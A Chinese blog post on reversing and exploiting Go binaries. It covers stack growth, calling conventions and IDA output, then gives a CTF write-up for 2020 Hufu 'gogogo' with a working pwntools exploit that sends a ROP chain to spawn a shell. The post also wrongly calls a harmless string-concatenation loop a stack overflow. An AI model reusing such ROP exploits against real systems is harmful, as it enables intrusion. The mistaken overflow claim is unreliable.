GO-PWN

首先go的二进制文件分析与C/C++二进制文件分析大有不同,有些老东西都不能运用得当

我们先讲述不同的点

函数调用约定

在 Go 语言中,goroutine 是一种轻量级的执行单元,用于并发执行代码。它可以看作是一种轻量级的线程,由 Go 运行时系统进行管理。与传统的线程相比,goroutine 具有更小的栈空间占用和更低的创建和销毁开销。

Go1.3版本之后则使用的是continuous stack,下面将具体分析一下这种技术。

基本原理

每次执行函数调用时Go的runtime都会进行检测,若当前栈的大小不够用,则会触发“中断”,从当前函数进入到Go的运行时库,Go的运行时库会保存此时的函数上下文环境,然后分配一个新的足够大的栈空间,将旧栈的内容拷贝到新栈中,并做一些设置,使得当函数恢复运行时,函数会在新分配的栈中继续执行,仿佛整个过程都没发生过一样,这个函数会觉得自己使用的是一块大小“无限”的栈空间。

实现过程

在研究Go的实现细节之前让我们先自己思考一下应该如何实现。第一步肯定要有某种机制检测到当前栈大小不够用了,这个应该是把当前的栈寄存器SP跟栈的可用栈空间的边界进行比较。能够检测到栈大小不够用,就相当于捕捉到了“中断”。

捕获完“中断”,第二步要做的,就应该是进入运行时,保存当前goroutine的上下文。别陷入如何保存上下文的细节,先假如我们把函数栈增长时的上下文保存好了,那下一步就是分配新的栈空间了,我们可以将分配空间想象成就是调用一下malloc而已。

接下来怎么办呢?我们要将旧栈中的内容拷贝到新栈中,然后让函数继续在新栈中运行。这里先暂时忽略旧栈内容拷贝到新栈中的一些技术难点,假设在新栈空间中恢复了“中断”时的上下文,从运行时返回到函数。

函数在新的栈中继续运行了,但是还有个问题:函数如何返回。因为函数返回后栈是要缩小的,否则就会内存浪费空间了,所以还需要在函数返回时处理栈缩小的问题。

细节

首先写一个test.go文件,内容如下:

1
2
3
4
package main
func main() {
main()
}

然后生成汇编文件:

1
go tool 6g -S test.go | head -8

可以看以输出是:

1
2
3
4
5
6
7
000000 00000 (test.go:3)    TEXT    "".main+0(SB),$0-0
000000 00000 (test.go:3) MOVQ (TLS),CX
0x0009 00009 (test.go:3) CMPQ SP,(CX)
0x000c 00012 (test.go:3) JHI ,21
0x000e 00014 (test.go:3) CALL ,runtime.morestack00_noctxt(SB)
0x0013 00019 (test.go:3) JMP ,0
0x0015 00021 (test.go:3) NOP ,

让我们好好看一下这些指令。(TLS)取到的是结构体G的第一个域,也就是g->stackguard地址,将它赋值给CX。然后CX地址的值与SP进行比较,如果SP大于g->stackguard了,则会调用runtime.morestack函数。这几条指令的作用就是检测栈是否溢出。

不过并不是所有函数在链接时都会插入这种指令。如果你读源代码,可能会发现#pragma textflag 7,或者在汇编函数中看到TEXT reuntime.exit(SB),7,$0,这种函数就是不会检测栈溢出的。这个是编译标记,控制是否生成栈溢出检测指令。

小结

  1. 使用分段栈的函数头几个指令检测SP和stackguard,调用runtime.morestack
  2. runtime.morestack函数的主要功能是保存当前的栈的一些信息,然后转换成调度器的栈调用runtime.newstack
  3. runtime.newstack函数的主要功能是分配空间,装饰此空间,将旧的frame和arg弄到新空间
  4. 使用gogocall的方式切换到新分配的栈,gogocall使用的JMP返回到被中断的函数
  5. 继续执行遇到RET指令时会返回到runtime.lessstack,lessstack做的事情跟morestack相反,它要准备好从new stack到old stack

整个过程有点像一次中断,中断处理时保存当时的现场,弄个新的栈,中断恢复时恢复到新栈中运行。栈的收缩是垃圾回收的过程中实现的.当检测到栈只使用了不到1/4时,栈缩小为原来的1/2.

函数调用寄存器

  1. Go1.17.1之前的函数调用,参数都在栈上传递;Go1.17.1以后,9个以内的参数在寄存器传递,9个以外的在栈上传递;
  2. Go1.17.1之前版本,callee函数返回值通过caller栈传递;Go1.17.1以后,函数调用的返回值,9个以内通过寄存器传递回caller,9个以外在栈上传递;

这九个寄存器优先级从高到低是:

ax > bx > cx > di > si > r8 > r9 > r10 > r11

逆向分析

由于恶意软件大都是被 strip 处理过,已经去除了二进制文件里的调试信息和函数符号,所以 Go 二进制文件的逆向分析技术的探索,前期主要围绕着函数符号的恢复来展开。

由于网上的资料都甚少,至少我没搜到,因此我就自己编译自己逆一些程序

编译及逆向

1
2
3
4
5
6
7
8
9
//写一个输出hello world的go的程序。

package main

import "fmt"

func main() {
fmt.Println("hello world")
}

放到ida里

1
2
3
4
5
6
7
8
9
// main.main
void __cdecl main_main()
{
__int64 v0[2]; // [rsp+40h] [rbp-18h] BYREF

v0[0] = (__int64)&RTYPE_string;
v0[1] = (__int64)&off_4D8F60;
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v0, 1LL, 1LL);
}

可以看到v0[1]是输出参数

可以认为他的参数设置是,类型+值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//写一个包含很多类型,语法的go语言程序

package main

import "fmt"

func main() {
var a int = 10
var b float32 = 3.14
var c string = "Hello, world!"
var d bool = true
var e []int = []int{1, 2, 3, 4, 5}
var f map[string]int = map[string]int{"one": 1, "two": 2, "three": 3}
var g chan int = make(chan int)

fmt.Println(a, b, c, d, e, f, g)
}

再看一个涉及多种类型的go程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// main.main
void __cdecl main_main()
{
__int64 v0; // rax
__int64 v1; // [rsp+50h] [rbp-A8h]
__int64 v2; // [rsp+58h] [rbp-A0h]
__int64 v3; // [rsp+60h] [rbp-98h]
__int64 v4; // [rsp+68h] [rbp-90h]
__int64 v5; // [rsp+70h] [rbp-88h]
__int64 v6; // [rsp+78h] [rbp-80h]
__int64 v7[14]; // [rsp+80h] [rbp-78h] BYREF

v6 = runtime_newobject(&RTYPE__5_int);
*(_QWORD *)v6 = 1LL;
*(_OWORD *)(v6 + 8) = xmmword_4DB908;
*(_OWORD *)(v6 + 24) = xmmword_4DB918;
v5 = runtime_makemap_small();
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "one", 3LL) = 1LL;
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "two", 3LL) = 2LL;
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "three", 5LL) = 3LL;
v4 = runtime_makechan((__int64)&RTYPE_chan_int, 0LL);
v3 = runtime_convT64(10LL);
v2 = runtime_convT32(_f32_4048f5c3); // 3.14
v1 = runtime_convTstring((__int64)"Hello, world!", 13LL);
runtime_convTslice(v6, 5LL, 5LL);
v0 = ((__int64 (*)(void))loc_4540AD)();
v7[0] = (__int64)&RTYPE_int;
v7[1] = v3;
v7[2] = (__int64)&RTYPE_float32;
v7[3] = v2;
v7[4] = (__int64)&RTYPE_string;
v7[5] = v1;
v7[6] = (__int64)&RTYPE_bool;
v7[7] = (__int64)&runtime_staticbytes + 1;
v7[8] = (__int64)&RTYPE__slice_int;
v7[9] = v0;
v7[10] = (__int64)&RTYPE_map_string_int;
v7[11] = v5;
v7[12] = (__int64)&RTYPE_chan_int;
v7[13] = v4;
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v7, 7LL, 7LL);
}

其中

1
2
3
4
v6 = runtime_newobject(&RTYPE__5_int);
*(_QWORD *)v6 = 1LL;
*(_OWORD *)(v6 + 8) = xmmword_4DB908;
*(_OWORD *)(v6 + 24) = xmmword_4DB918;

runtime_newobject这个是类似于一个malloc的函数调用,关键字 new 同样也会被编译器翻译为此函数,所以runtime_newobject就是一个内存分配的核心函数,调用这个的原因是有些字符串(may?)是通过指针调用的,让我们gdb一下

image-20240322131856847

可以看到一些其他的东西,比如string是在一个内存区域内,type也是,或许其中有一个是go的堆

我们再vmmap看一下

image-20240322132743451

首先anon_c000000才是go使用的栈,而最下面是我们系统的栈,0x400000-0x48e000则是代码区,

首先吸引我的是heap区域,不知道是不是真正的heap区域

那就让我们进去看看

它分为好几个部分

1
2
3
runtime.stackLarge
runtime.m0
runtime.cpuprof

栈空间在运行时中包含两个重要的全局变量,分别是 runtime.stackpoolruntime.stackLarge,这两个变量分别表示全局的栈缓存和大栈缓存,前者可以分配小于 32KB 的内存,后者用来分配大于 32KB 的栈空间

但是深究下去,或许会很复杂?等以后再说吧。。。。

之后的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "one", 3LL) = 1LL;
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "two", 3LL) = 2LL;
*(_QWORD *)runtime_mapassign_faststr(&RTYPE_map_string_int, v5, "three", 5LL) = 3LL;
v4 = runtime_makechan((__int64)&RTYPE_chan_int, 0LL);
v3 = runtime_convT64(10LL);
v2 = runtime_convT32(_f32_4048f5c3); // 3.14
v1 = runtime_convTstring((__int64)"Hello, world!", 13LL);
runtime_convTslice(v6, 5LL, 5LL);
v0 = ((__int64 (*)(void))loc_4540AD)();
v7[0] = (__int64)&RTYPE_int;
v7[1] = v3;
v7[2] = (__int64)&RTYPE_float32;
v7[3] = v2;
v7[4] = (__int64)&RTYPE_string;
v7[5] = v1;
v7[6] = (__int64)&RTYPE_bool;
v7[7] = (__int64)&runtime_staticbytes + 1;
v7[8] = (__int64)&RTYPE__slice_int;
v7[9] = v0;
v7[10] = (__int64)&RTYPE_map_string_int;
v7[11] = v5;
v7[12] = (__int64)&RTYPE_chan_int;
v7[13] = v4;
fmt_Fprintln((__int64)&go_itab__ptr_os_File_comma_io_Writer, os_Stdout, (__int64)v7, 7LL, 7LL);

可以看到参数就是先是一个类型,然后紧跟着数值,符合猜测

之后看一个有栈溢出漏洞的go程序

1
2
3
4
5
6
7
8
9
10
11
12
13
//写一个可以控制输出量的有栈溢出风险的简单go程序

package main

import "fmt"

func main() {
var s string
for i := 0; i < 1000000; i++ {
s += fmt.Sprintf("%d", i)
}
fmt.Println(s)
}

可以看到显然一个栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// main.main
void __cdecl main_main()
{
const char *v0; // rdi
__int64 v1; // rax
__int64 v2; // rcx
__int64 v3; // rdx
_QWORD *v4; // [rsp+10h] [rbp-70h]
__int64 v5; // [rsp+28h] [rbp-58h]
__int64 v6; // [rsp+30h] [rbp-50h]
__int64 v7; // [rsp+48h] [rbp-38h]
__int64 v8; // [rsp+50h] [rbp-30h]
_QWORD v9[2]; // [rsp+68h] [rbp-18h] BYREF

v1 = 0LL;
v2 = 0LL;
v3 = 0LL;
while ( v1 < 1000000 )
{
v7 = v1; // v7 v1是计数器
v8 = v3;
runtime_convT64(v1);
fmt_Sprintf(v0);
runtime_concatstring2(0LL, v8); // 字符串拼接
v2 = v6;
v3 = v5;
v1 = v7 + 1;
}
v4 = runtime_convTstring(v3, v2); // 将某个类型转换为字符串类型
v9[0] = &RTYPE_string;
v9[1] = v4;
fmt_Fprintln(go_itab__ptr_os_File_comma_io_Writer, os_Stdout, v9, 1LL, 1LL);
}

但是显然ida里的反汇编总是那么出人意料

首先能一眼看出的是他调用了

例题

2020虎符ctf -gogogo

这道题的核心主要是它修改了main函数的名称为math_init,我是通过IDA远程调试调出来的

注意点:

  1. go的ida远程调试要下断点,因为go是多线程的,不下断点容易出问题
  2. go一定要调试,静态分析容易出问题
  3. go要看汇编,反汇编因为寄存器和栈值得反复交换,使得他的机制很奇怪
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = process('./gogogo')
# io = remote("120.25.148.180", 29561)
elf = ELF('./gogogo')

def judge_cnt(k):
if k == 7 :
return 1
return 0

if __name__ == '__main__':
io.sendline(str(0x54749110))
# gdb.attach(io, 'b *0x491ea1')
while 1 :
cnt = 0
num_list = []
io.recvuntil("GUESS\n")
while 1 :
x = 2*cnt
y = 2*cnt+1
io.sendline(F"{x} {x} {x} {y}")
sleep(0.1)
cnt = cnt + 1
res = io.recvline(keepends = False)
if res == b"0A0B" :
pass
elif res == b"0A1B" :
num_list.append(y)
elif res == b"0A2B" :
num_list.append(x)
num_list.append(y)
elif res == b"1A0B" :
num_list.append(y)
elif res == b"1A1B" :
num_list.append(x)
elif res == b"1A2B" :
num_list.append(x)
num_list.append(y)
elif res == b"2A1B" :
num_list.append(x)
num_list.append(y)
if len(num_list) == 4 :
break

info(str(num_list[0]))
info(str(num_list[1]))
info(str(num_list[2]))
info(str(num_list[3]))

idx = -1
pos = [-1, -1, -1, -1]
while 1 :
idx = idx + 1
if idx == 4 :
break
x = num_list[idx]
times = 0
if times == (3 - idx) :
for i in range(0, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[0] == -1 :
io.sendline(F"{x} -1 -1 -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[0] = idx
continue
if times == (3 - idx) :
for i in range(1, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[1] == -1 :
io.sendline(F"-1 {x} -1 -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[1] = idx
continue
if times == (3 - idx) :
for i in range(2, 4):
if pos[i] == -1 :
pos[i] = idx
break
continue
if pos[2] == -1 :
io.sendline(F"-1 -1 {x} -1")
sleep(0.1)
times = times + 1
cnt = cnt + 1
if judge_cnt(cnt) :
break
res = io.recvline(keepends = False)
if res == b"1A0B" :
pos[2] = idx
continue
if times == (3 - idx) :
for i in range(3, 4):
if pos[i] == -1 :
pos[i] = idx
break
res = io.recv(timeout = 0.5)
if b"TRY AGAIN?" in res :
# pause()
io.sendline(b'Y')
continue
io.sendline(F"{num_list[pos[0]]} {num_list[pos[1]]} {num_list[pos[2]]} {num_list[pos[3]]}")
# WIN
res = io.recvline()
if b"WIN" in res :
success("Win!")
else :
info("Wrong?")
# pause()
break

io.sendlineafter("EXIT?\n", b'E')
io.sendlineafter("(4) EXIT\n", b'4')

gdb.attach(io, 'b *0x494B0F')

pop_rdx_ret = 0x48546c
pop_rax_ret = 0x405b78
pop_rsi_ret = 0x41c41c
syscall_ret = 0x45c849
pop_rcx_ret = 0x44dbe3
mov_val_rax_rcx_ret = 0x42b353 # mov qword ptr [rax], rcx; ret;
xchg_rax_r9_ret = 0x45b367
mov_rdi_r9 = 0x410d24 # mov rdi, r9; mov rbp, qword ptr [rsp + 0x10]; add rsp, 0x18; ret;
pause()
gdb.attach(io, 'b *0x405b78')

payload = b'a'*0x460
payload += p64(pop_rax_ret)
payload += p64(elf.bss())
payload += p64(pop_rcx_ret)
payload += p64(0x68732f6e69622f)
payload += p64(mov_val_rax_rcx_ret)
payload += p64(xchg_rax_r9_ret)
payload += p64(mov_rdi_r9)
payload += p64(0)*3
payload += p64(pop_rax_ret)
payload += p64(0x3b)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall_ret)

io.sendlineafter("SURE?\n", payload)
io.interactive()

首先是爆破游戏,然后给溢出,细看:winmt师傅